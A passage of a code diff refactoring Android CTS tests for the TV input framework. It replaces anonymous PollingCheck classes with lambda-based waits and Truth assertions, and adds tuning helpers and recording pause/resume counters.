-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTimeShiftResumeCount > 0);
+
+        assertThat(session.mTimeShiftResumeCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandTimeShiftSeekTo() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final long timeMs = 0;
-        mTvView.timeShiftSeekTo(timeMs);
+
+        onTvView(tvView -> tvView.timeShiftSeekTo(timeMs));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftSeekToCount > 0
-                        && session.mTimeShiftSeekTo == timeMs;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTimeShiftSeekToCount > 0);
+
+        assertThat(session.mTimeShiftSeekToCount).isEqualTo(1);
+        assertThat(session.mTimeShiftSeekTo).isEqualTo(timeMs);
     }
 
+    @Test
     public void verifyCommandTimeShiftSetPlaybackParams() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final PlaybackParams param = new PlaybackParams().setSpeed(2.0f)
                 .setAudioFallbackMode(PlaybackParams.AUDIO_FALLBACK_MODE_DEFAULT);
-        mTvView.timeShiftSetPlaybackParams(param);
+        onTvView(tvView -> tvView.timeShiftSetPlaybackParams(param));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftSetPlaybackParamsCount > 0
-                        && playbackParamsEquals(session.mTimeShiftSetPlaybackParams, param);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT,
+                () -> session != null && session.mTimeShiftSetPlaybackParamsCount > 0);
+
+        assertThat(session.mTimeShiftSetPlaybackParamsCount).isEqualTo(1);
+        assertPlaybackParamsEquals(session.mTimeShiftSetPlaybackParams, param);
     }
 
+    @Test
     public void verifyCommandTimeShiftPlay() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final Uri fakeRecordedProgramUri = TvContract.buildRecordedProgramUri(0);
-        mTvView.timeShiftPlay(mStubInfo.getId(), fakeRecordedProgramUri);
+
+        onTvView(tvView -> tvView.timeShiftPlay(mStubInfo.getId(), fakeRecordedProgramUri));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mTimeShiftPlayCount > 0
-                        && Objects.equals(session.mRecordedProgramUri, fakeRecordedProgramUri);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mTimeShiftPlayCount > 0);
+
+        assertThat(session.mTimeShiftPlayCount).isEqualTo(1);
+        assertThat(session.mRecordedProgramUri).isEqualTo(fakeRecordedProgramUri);
     }
 
+    @Test
     public void verifyCommandSetTimeShiftPositionCallback() {
-        resetCounts();
-        mTvView.setTimeShiftPositionCallback(mTimeShiftPositionCallback);
+        tune(CHANNEL_0);
+
+        onTvView(tvView -> tvView.setTimeShiftPositionCallback(mTimeShiftPositionCallback));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mTimeShiftPositionCallback.mTimeShiftCurrentPositionChanged > 0
-                        && mTimeShiftPositionCallback.mTimeShiftStartPositionChanged > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT,
+                () -> mTimeShiftPositionCallback.mTimeShiftCurrentPositionChanged > 0
+                        && mTimeShiftPositionCallback.mTimeShiftStartPositionChanged > 0);
+
+        assertThat(mTimeShiftPositionCallback.mTimeShiftCurrentPositionChanged).isEqualTo(1);
+        assertThat(mTimeShiftPositionCallback.mTimeShiftStartPositionChanged).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandOverlayViewSizeChanged() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final int width = 10;
         final int height = 20;
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTvView.setLayoutParams(new LinearLayout.LayoutParams(width, height));
-            }
-        });
-        mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mOverlayViewSizeChangedCount > 0
-                        && session.mOverlayViewSizeChangedWidth == width
-                        && session.mOverlayViewSizeChangedHeight == height;
-            }
-        }.run();
+
+        // There is a first OverlayViewSizeChange called on initial tune.
+        assertThat(session.mOverlayViewSizeChangedCount).isEqualTo(1);
+
+        onTvView(tvView -> tvView.setLayoutParams(new LinearLayout.LayoutParams(width, height)));
+
+        PollingCheck.waitFor(TIME_OUT, () -> session.mOverlayViewSizeChangedCount > 1);
+
+        assertThat(session.mOverlayViewSizeChangedCount).isEqualTo(2);
+        assertThat(session.mOverlayViewSizeChangedWidth).isEqualTo(width);
+        assertThat(session.mOverlayViewSizeChangedHeight).isEqualTo(height);
     }
 
+    @Test
     public void verifyCommandSendAppPrivateCommand() {
-        resetCounts();
+        Bundle bundle = createTestBundle();
+        tune(CHANNEL_0);
         final String action = "android.media.tv.cts.TvInputServiceTest.privateCommand";
-        mTvView.sendAppPrivateCommand(action, sDummyBundle);
+
+        onTvView(tvView -> tvView.sendAppPrivateCommand(action, bundle));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mAppPrivateCommandCount > 0
-                        && bundleEquals(session.mAppPrivateCommandData, sDummyBundle)
-                        && TextUtils.equals(session.mAppPrivateCommandAction, action);
-            }
-        }.run();
+        final CountingSession session = waitForSessionCheck(s -> s.mAppPrivateCommandCount > 0);
+
+        assertThat(session.mAppPrivateCommandCount).isEqualTo(1);
+        assertBundlesAreEqual(session.mAppPrivateCommandData, bundle);
+        assertThat(session.mAppPrivateCommandAction).isEqualTo(action);
     }
 
+    @Test
     public void verifyCallbackChannelRetuned() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        session.notifyChannelRetuned(fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mChannelRetunedCount > 0
-                        && Objects.equals(mCallback.mChannelRetunedUri, fakeChannelUri);
-            }
-        }.run();
+
+        session.notifyChannelRetuned(CHANNEL_0);
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mChannelRetunedCount > 0);
+
+        assertThat(mCallback.mChannelRetunedCount).isEqualTo(1);
+        assertThat(mCallback.mChannelRetunedUri).isEqualTo(CHANNEL_0);
+
     }
 
+    @Test
     public void verifyCallbackVideoAvailable() {
+        final CountingSession session = tune(CHANNEL_0);
         resetCounts();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
+
         session.notifyVideoAvailable();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mVideoAvailableCount > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mVideoAvailableCount > 0);
+
+        assertThat(mCallback.mVideoAvailableCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCallbackVideoUnavailable() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         final int reason = TvInputManager.VIDEO_UNAVAILABLE_REASON_TUNING;
+
         session.notifyVideoUnavailable(reason);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mVideoUnavailableCount > 0
-                        && mCallback.mVideoUnavailableReason == reason;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mVideoUnavailableCount > 0);
+
+        assertThat(mCallback.mVideoUnavailableCount).isEqualTo(1);
+        assertThat(mCallback.mVideoUnavailableReason).isEqualTo(reason);
     }
 
+    @Test
     public void verifyCallbackTracksChanged() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         ArrayList<TvTrackInfo> tracks = new ArrayList<>();
-        tracks.add(DUMMY_TRACK);
+        tracks.add(TEST_TV_TRACK);
+
         session.notifyTracksChanged(tracks);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mTrackChangedCount > 0
-                        && Objects.equals(mCallback.mTracksChangedTrackList, tracks);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mTrackChangedCount > 0
+                && Objects.equals(mCallback.mTracksChangedTrackList, tracks));
+
+        assertThat(mCallback.mTrackChangedCount).isEqualTo(1);
+        assertThat(mCallback.mTracksChangedTrackList).isEqualTo(tracks);
     }
 
+    @Test
+    @Ignore("b/174076887")
     public void verifyCallbackVideoSizeChanged() {
+        final CountingSession session = tune(CHANNEL_0);
         resetCounts();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         ArrayList<TvTrackInfo> tracks = new ArrayList<>();
-        tracks.add(DUMMY_TRACK);
+        tracks.add(TEST_TV_TRACK);
+
         session.notifyTracksChanged(tracks);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mVideoSizeChanged > 0;
-            }
-        }.run();
+        mInstrumentation.waitForIdleSync();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mVideoSizeChanged > 0);
+
+        assertThat(mCallback.mVideoSizeChanged).isEqualTo(1);
     }
 
+    @Test
     public void verifyCallbackTrackSelected() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
-        assertNotNull(DUMMY_TRACK);
-        session.notifyTrackSelected(DUMMY_TRACK.getType(), DUMMY_TRACK.getId());
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mTrackSelectedCount > 0
-                        && mCallback.mTrackSelectedType == DUMMY_TRACK.getType()
-                        && TextUtils.equals(DUMMY_TRACK.getId(), mCallback.mTrackSelectedTrackId);
-            }
-        }.run();
+
+        session.notifyTrackSelected(TEST_TV_TRACK.getType(), TEST_TV_TRACK.getId());
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mTrackSelectedCount > 0);
+
+        assertThat(mCallback.mTrackSelectedCount).isEqualTo(1);
+        assertThat(mCallback.mTrackSelectedType).isEqualTo(TEST_TV_TRACK.getType());
+        assertThat(mCallback.mTrackSelectedTrackId).isEqualTo(TEST_TV_TRACK.getId());
     }
 
+    @Test
     public void verifyCallbackContentAllowed() {
+        final CountingSession session = tune(CHANNEL_0);
         resetCounts();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
+
         session.notifyContentAllowed();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mContentAllowedCount > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mContentAllowedCount > 0);
+
+        assertThat(mCallback.mContentAllowedCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCallbackContentBlocked() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         final TvContentRating rating = TvContentRating.createRating("android.media.tv", "US_TVPG",
                 "US_TVPG_TV_MA", "US_TVPG_S", "US_TVPG_V");
+
         session.notifyContentBlocked(rating);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mContentBlockedCount > 0
-                        && Objects.equals(mCallback.mContentBlockedRating, rating);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mContentBlockedCount > 0);
+
+        assertThat(mCallback.mContentBlockedCount).isEqualTo(1);
+        assertThat(mCallback.mContentBlockedRating).isEqualTo(rating);
+
     }
 
+    @Test
     public void verifyCallbackTimeShiftStatusChanged() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
         final int status = TvInputManager.TIME_SHIFT_STATUS_AVAILABLE;
+
         session.notifyTimeShiftStatusChanged(status);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mCallback.mTimeShiftStatusChangedCount > 0
-                        && mCallback.mTimeShiftStatusChangedStatus == status;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mCallback.mTimeShiftStatusChangedCount > 0);
+
+        assertThat(mCallback.mTimeShiftStatusChangedCount).isEqualTo(1);
+        assertThat(mCallback.mTimeShiftStatusChangedStatus).isEqualTo(status);
     }
 
+    @Test
     public void verifyCallbackLayoutSurface() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         final int left = 10;
         final int top = 20;
         final int right = 30;
         final int bottom = 40;
-        final CountingSession session = CountingTvInputService.sSession;
-        assertNotNull(session);
+
         session.layoutSurface(left, top, right, bottom);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                int childCount = mTvView.getChildCount();
+        PollingCheck.waitFor(TIME_OUT, () -> {
+            final AtomicBoolean retValue = new AtomicBoolean();
+            onTvView(tvView -> {
+                int childCount = tvView.getChildCount();
                 for (int i = 0; i < childCount; ++i) {
-                    View v = mTvView.getChildAt(i);
+                    View v = tvView.getChildAt(i);
                     if (v instanceof SurfaceView) {
-                        return v.getLeft() == left && v.getTop() == top && v.getRight() == right
-                                && v.getBottom() == bottom;
+                        retValue.set(v.getLeft() == left && v.getTop() == top
+                                && v.getRight() == right
+                                && v.getBottom() == bottom
+                        );
+                        break;
                     }
                 }
-                return false;
-            }
-        }.run();
+            });
+            mInstrumentation.waitForIdleSync();
+            return retValue.get();
+        });
     }
 
-    public static boolean keyEventEquals(KeyEvent event, KeyEvent other) {
-        if (event == other) return true;
-        if (event == null || other == null) return false;
-        return event.getDownTime() == other.getDownTime()
-                && event.getEventTime() == other.getEventTime()
-                && event.getAction() == other.getAction()
-                && event.getKeyCode() == other.getKeyCode()
-                && event.getRepeatCount() == other.getRepeatCount()
-                && event.getMetaState() == other.getMetaState()
-                && event.getDeviceId() == other.getDeviceId()
-                && event.getScanCode() == other.getScanCode()
-                && event.getFlags() == other.getFlags()
-                && event.getSource() == other.getSource()
-                && TextUtils.equals(event.getCharacters(), other.getCharacters());
+    public static void assertKeyEventEquals(KeyEvent actual, KeyEvent expected) {
+        if ((expected == null) != (actual == null)) {
+            // Fail miss matched nulls early using the StandardSubject
+            Truth.assertThat(actual).isEqualTo(expected);
+        } else if (expected != null && actual != null) {
+            assertThat(actual.getDownTime()).isEqualTo(expected.getDownTime());
+            assertThat(actual.getEventTime()).isEqualTo(expected.getEventTime());
+            assertThat(actual.getAction()).isEqualTo(expected.getAction());
+            assertThat(actual.getKeyCode()).isEqualTo(expected.getKeyCode());
+            assertThat(actual.getRepeatCount()).isEqualTo(expected.getRepeatCount());
+            assertThat(actual.getMetaState()).isEqualTo(expected.getMetaState());
+            assertThat(actual.getDeviceId()).isEqualTo(expected.getDeviceId());
+            assertThat(actual.getScanCode()).isEqualTo(expected.getScanCode());
+            assertThat(actual.getFlags()).isEqualTo(expected.getFlags());
+            assertThat(actual.getSource()).isEqualTo(expected.getSource());
+            assertThat(actual.getCharacters()).isEqualTo(expected.getCharacters());
+        }// else both null so do nothing
     }
 
-    public static boolean motionEventEquals(MotionEvent event, MotionEvent other) {
-        if (event == other) return true;
-        if (event == null || other == null) return false;
-        return event.getDownTime() == other.getDownTime()
-                && event.getEventTime() == other.getEventTime()
-                && event.getAction() == other.getAction()
-                && event.getX() == other.getX()
-                && event.getY() == other.getY()
-                && event.getPressure() == other.getPressure()
-                && event.getSize() == other.getSize()
-                && event.getMetaState() == other.getMetaState()
-                && event.getXPrecision() == other.getXPrecision()
-                && event.getYPrecision() == other.getYPrecision()
-                && event.getDeviceId() == other.getDeviceId()
-                && event.getEdgeFlags() == other.getEdgeFlags()
-                && event.getSource() == other.getSource();
+    public static void assertMotionEventEquals(MotionEvent actual, MotionEvent expected) {
+        if ((expected == null) != (actual == null)) {
+            // Fail miss matched nulls early using the StandardSubject
+            Truth.assertThat(actual).isEqualTo(expected);
+        } else if (expected != null && actual != null) {
+            assertThat(actual).hasDownTime(expected.getDownTime());
+            assertThat(actual).hasEventTime(expected.getEventTime());
+            assertThat(actual).hasAction(expected.getAction());
+            assertThat(actual).x().isEqualTo(expected.getX());
+            assertThat(actual).y().isEqualTo(expected.getY());
+            assertThat(actual).pressure().isEqualTo(expected.getPressure());
+            assertThat(actual).size().isEqualTo(expected.getSize());
+            assertThat(actual).hasMetaState(expected.getMetaState());
+            assertThat(actual).xPrecision().isEqualTo(expected.getXPrecision());
+            assertThat(actual).yPrecision().isEqualTo(expected.getYPrecision());
+            assertThat(actual).hasDeviceId(expected.getDeviceId());
+            assertThat(actual).hasEdgeFlags(expected.getEdgeFlags());
+            assertThat(actual.getSource()).isEqualTo(expected.getSource());
+
+        } // else both null so do nothing
     }
 
-    public static boolean playbackParamsEquals(PlaybackParams param, PlaybackParams other) {
-        if (param == other) return true;
-        if (param == null || other == null) return false;
-        return param.getAudioFallbackMode() == other.getAudioFallbackMode()
-                && param.getSpeed() == other.getSpeed();
+    public static void assertPlaybackParamsEquals(PlaybackParams actual, PlaybackParams expected) {
+        if ((expected == null) != (actual == null)) {
+            // Fail miss matched nulls early using the StandardSubject
+            Truth.assertThat(actual).isEqualTo(expected);
+        } else if (expected != null && actual != null) {
+            assertThat(actual.getAudioFallbackMode()).isEqualTo(expected.getAudioFallbackMode());
+            assertThat(actual.getSpeed()).isEqualTo(expected.getSpeed());
+        } // else both null so do nothing
     }
 
-    public static boolean bundleEquals(Bundle b, Bundle other) {
-        if (b == other) return true;
-        if (b == null || other == null) return false;
-        if (b.size() != other.size()) return false;
-
-        Set<String> keys = b.keySet();
-        for (String key : keys) {
-            if (!other.containsKey(key)) return false;
-            Object objOne = b.get(key);
-            Object objTwo = other.get(key);
-            if (!Objects.equals(objOne, objTwo)) {
-                return false;
+    private static void assertBundlesAreEqual(Bundle actual, Bundle expected) {
+        if ((expected == null) != (actual == null)) {
+            // Fail miss matched nulls early using the StandardSubject
+            Truth.assertThat(actual).isEqualTo(expected);
+        } else if (expected != null && actual != null) {
+            assertThat(actual.keySet()).isEqualTo(expected.keySet());
+            for (String key : expected.keySet()) {
+                assertThat(actual.get(key)).isEqualTo(expected.get(key));
             }
         }
-        return true;
     }
 
-    public void initDummyBundle() {
-        sDummyBundle = new Bundle();
-        sDummyBundle.putString("stringKey", new String("Test String"));
+    private void notifyTuned(Uri uri) {
+        final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
+        session.notifyTuned(uri);
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mTunedCount > 0);
+    }
+
+    private void onTvView(Consumer<TvView> tvViewConsumer) {
+        activityRule.getScenario().onActivity(viewAction(tvViewConsumer));
+
     }
 
     private void resetCounts() {
@@ -1060,37 +970,109 @@
         mRecordingCallback.resetPassedValues();
     }
 
+    @NonNull
+    private static PollingCheck.PollingCheckCondition recordingSessionCheck(
+            ToBooleanFunction<CountingRecordingSession> toBooleanFunction) {
+        return () -> {
+            final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
+            return session != null && toBooleanFunction.apply(session);
+        };
+    }
+
+    @NonNull
+    private static PollingCheck.PollingCheckCondition sessionCheck(
+            ToBooleanFunction<CountingSession> toBooleanFunction) {
+        return () -> {
+            final CountingSession session = CountingTvInputService.sSession;
+            return session != null && toBooleanFunction.apply(session);
+        };
+    }
+
+    @NonNull
+    private CountingSession tune(Uri uri) {
+        onTvView(tvView -> {
+            tvView.setCallback(mCallback);
+            tvView.tune(mStubInfo.getId(), CHANNEL_0);
+        });
+        return waitForSessionCheck(session -> session.mTuneCount > 0);
+    }
+
+    @NonNull
+    private CountingRecordingSession tuneForRecording(Uri uri) {
+        mTvRecordingClient.tune(mStubInfo.getId(), uri);
+        return waitForRecordingSessionCheck(s -> s.mTuneCount > 0);
+    }
+
+    @NonNull
+    private CountingRecordingSession tuneForRecording(Uri uri, Bundle bundle) {
+        mTvRecordingClient.tune(mStubInfo.getId(), uri, bundle);
+        return waitForRecordingSessionCheck(s -> s.mTuneCount > 0 && s.mTuneWithBundleCount > 0);
+    }
+
+    @NonNull
+    private static ActivityScenario.ActivityAction<TvViewStubActivity> viewAction(
+            Consumer<TvView> consumer) {
+        return activity -> consumer.accept(activity.getTvView());
+    }
+
+    @NonNull
+    private static CountingSession waitForSessionCheck(
+            ToBooleanFunction<CountingSession> countingSessionToBooleanFunction) {
+        PollingCheck.waitFor(TIME_OUT, sessionCheck(countingSessionToBooleanFunction));
+        return CountingTvInputService.sSession;
+    }
+
+    @NonNull
+    private static CountingRecordingSession waitForRecordingSessionCheck(
+            ToBooleanFunction<CountingRecordingSession> toBool) {
+        PollingCheck.waitFor(TIME_OUT, recordingSessionCheck(toBool));
+        return CountingTvInputService.sRecordingSession;
+    }
+
     public static class CountingTvInputService extends StubTvInputService {
+
         static CountingSession sSession;
         static CountingRecordingSession sRecordingSession;
-        static String sTvInputSessionId;
 
         @Override
         public Session onCreateSession(String inputId) {
-            sSession = new CountingSession(this);
+            return onCreateSession(inputId, null);
+        }
+
+        @Override
+        public Session onCreateSession(String inputId, String tvInputSessionId) {
+            if(sSession != null){
+                Log.w(TAG,"onCreateSession called with sSession set to "+ sSession);
+            }
+            sSession = new CountingSession(this, tvInputSessionId);
             sSession.setOverlayViewEnabled(true);
             return sSession;
         }
 
         @Override
         public RecordingSession onCreateRecordingSession(String inputId) {
-            sRecordingSession = new CountingRecordingSession(this);
-            return sRecordingSession;
-        }
-
-        @Override
-        public Session onCreateSession(String inputId, String tvInputSessionId) {
-            sTvInputSessionId = tvInputSessionId;
-            return onCreateSession(inputId);
+            return onCreateRecordingSession(inputId, null);
         }
 
         @Override
         public RecordingSession onCreateRecordingSession(String inputId, String tvInputSessionId) {
-            sTvInputSessionId = tvInputSessionId;
-            return onCreateRecordingSession(inputId);
+            if (sRecordingSession != null) {
+                Log.w(TAG, "onCreateRecordingSession called with sRecordingSession set to "
+                        + sRecordingSession);
+            }
+            sRecordingSession = new CountingRecordingSession(this, tvInputSessionId);
+            return sRecordingSession;
+        }
+
+        @Override
+        public IBinder createExtension() {
+            super.createExtension();
+            return null;
         }
 
         public static class CountingSession extends Session {
+            public final String mSessionId;
+
             public volatile int mTuneCount;
             public volatile int mTuneWithBundleCount;
             public volatile int mSetStreamVolumeCount;
@@ -1140,8 +1122,12 @@
             public volatile Integer mOverlayViewSizeChangedWidth;
             public volatile Integer mOverlayViewSizeChangedHeight;
 
-            CountingSession(Context context) {
+
+            CountingSession(Context context, @Nullable String sessionId) {
+
                 super(context);
+                mSessionId = sessionId;
+
             }
 
             public void resetCounts() {
@@ -1357,11 +1343,15 @@
         }
 
         public static class CountingRecordingSession extends RecordingSession {
+            public final String mSessionId;
+
             public volatile int mTuneCount;
             public volatile int mTuneWithBundleCount;
             public volatile int mReleaseCount;
             public volatile int mStartRecordingCount;
             public volatile int mStartRecordingWithBundleCount;
+            public volatile int mPauseRecordingWithBundleCount;
+            public volatile int mResumeRecordingWithBundleCount;
             public volatile int mStopRecordingCount;
             public volatile int mAppPrivateCommandCount;
 
@@ -1369,11 +1359,14 @@
             public volatile Bundle mTuneWithBundleData;
             public volatile Uri mProgramHint;
             public volatile Bundle mStartRecordingWithBundleData;
+            public volatile Bundle mPauseRecordingWithBundleData;
+            public volatile Bundle mResumeRecordingWithBundleData;
             public volatile String mAppPrivateCommandAction;
             public volatile Bundle mAppPrivateCommandData;
 
-            CountingRecordingSession(Context context) {
+            CountingRecordingSession(Context context, @Nullable String sessionId) {
                 super(context);
+                mSessionId = sessionId;
             }
 
             public void resetCounts() {
@@ -1382,6 +1375,8 @@
                 mReleaseCount = 0;
                 mStartRecordingCount = 0;
                 mStartRecordingWithBundleCount = 0;
+                mPauseRecordingWithBundleCount = 0;
+                mResumeRecordingWithBundleCount = 0;
                 mStopRecordingCount = 0;
                 mAppPrivateCommandCount = 0;
             }
@@ -1391,6 +1386,8 @@
                 mTuneWithBundleData = null;
                 mProgramHint = null;
                 mStartRecordingWithBundleData = null;
+                mPauseRecordingWithBundleData = null;
+                mResumeRecordingWithBundleData = null;
                 mAppPrivateCommandAction = null;
                 mAppPrivateCommandData = null;
             }
@@ -1432,6 +1429,19 @@
             }
 
             @Override
+            public void onPauseRecording(Bundle data) {
+                mPauseRecordingWithBundleCount++;
+                mPauseRecordingWithBundleData = data;
+            }
+
+            @Override
+            public void onResumeRecording(Bundle data) {
+                mResumeRecordingWithBundleCount++;
+                mResumeRecordingWithBundleData = data;
+
+            }
+
+            @Override
             public void onStopRecording() {
                 mStopRecordingCount++;
             }
@@ -1498,4 +1508,30 @@
             mError = null;
         }
     }
+
+
+    // Copied from {@link com.android.internal.util.ToBooleanFunction}
+    /**
+     * Represents a function that produces an boolean-valued result.  This is the
+     * {@code boolean}-producing primitive specialization for {@link Function}.
+     *
+     * <p>This is a <a href="package-summary.html">functional interface</a>
+     * whose functional method is {@link #apply(Object)}.
+     *
+     * @param <T> the type of the input to the function
+     *
+     * @see Function
+     */
+    @FunctionalInterface
+    private  interface ToBooleanFunction<T> {
+
+        /**
+         * Applies this function to the given argument.
+         *
+         * @param value the function argument
+         * @return the function result
+         */
+        boolean apply(T value);
+    }
+
 }
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoTest.java b/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoTest.java
index dcae3c8..b2c2041 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoTest.java
@@ -23,6 +23,7 @@
 import android.content.Context;
 import android.media.tv.TvTrackInfo;
 import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
 
 import androidx.test.core.os.Parcelables;
 
@@ -34,13 +35,13 @@
 /**
  * Test {@link android.media.tv.TvTrackInfo}.
  */
+@Presubmit
 public class TvTrackInfoTest {
 
     @Rule
     public final RequiredServiceRule requiredServiceRule = new RequiredServiceRule(
             Context.TV_INPUT_SERVICE);
 
-
     @Test
     public void newAudioTrack_default() {
         final TvTrackInfo info = new TvTrackInfo.Builder(TvTrackInfo.TYPE_AUDIO, "default")
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewStubActivity.java b/tests/tests/tv/src/android/media/tv/cts/TvViewStubActivity.java
index aa2b09f..8dda048 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewStubActivity.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewStubActivity.java
@@ -17,14 +17,21 @@
 package android.media.tv.cts;
 
 import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.media.tv.TvView;
 import android.os.Bundle;
-
 import android.tv.cts.R;
 
 public class TvViewStubActivity extends Activity {
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.tvview_layout);
     }
+
+    public TvView getTvView() {
+        return findViewById(R.id.tvview);
+    }
 }
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index 47a6517..a562734 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -59,7 +59,7 @@
     private TvInputInfo mFaultyStubInfo;
     private final MockCallback mCallback = new MockCallback();
 
-    private static class MockCallback extends TvInputCallback {
+    public static class MockCallback extends TvInputCallback {
         private final Map<String, Boolean> mVideoAvailableMap = new ArrayMap<>();
         private final Map<String, SparseIntArray> mSelectedTrackGenerationMap = new ArrayMap<>();
         private final Map<String, Integer> mTracksGenerationMap = new ArrayMap<>();
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java
index e560e5c..834acad 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java
@@ -18,20 +18,19 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.tv.tuner.Tuner;
 import android.media.tv.tuner.dvr.DvrPlayback;
 import android.media.tv.tuner.dvr.DvrRecorder;
 import android.media.tv.tuner.dvr.DvrSettings;
 import android.media.tv.tuner.dvr.OnPlaybackStatusChangedListener;
 import android.media.tv.tuner.dvr.OnRecordStatusChangedListener;
-import android.media.tv.tuner.filter.FilterCallback;
-import android.media.tv.tuner.filter.FilterEvent;
 import android.media.tv.tuner.filter.Filter;
+import android.media.tv.tuner.filter.FilterCallback;
 import android.media.tv.tuner.filter.FilterConfiguration;
+import android.media.tv.tuner.filter.FilterEvent;
 import android.media.tv.tuner.filter.RecordSettings;
 import android.media.tv.tuner.filter.Settings;
 import android.media.tv.tuner.filter.TsFilterConfiguration;
@@ -41,21 +40,28 @@
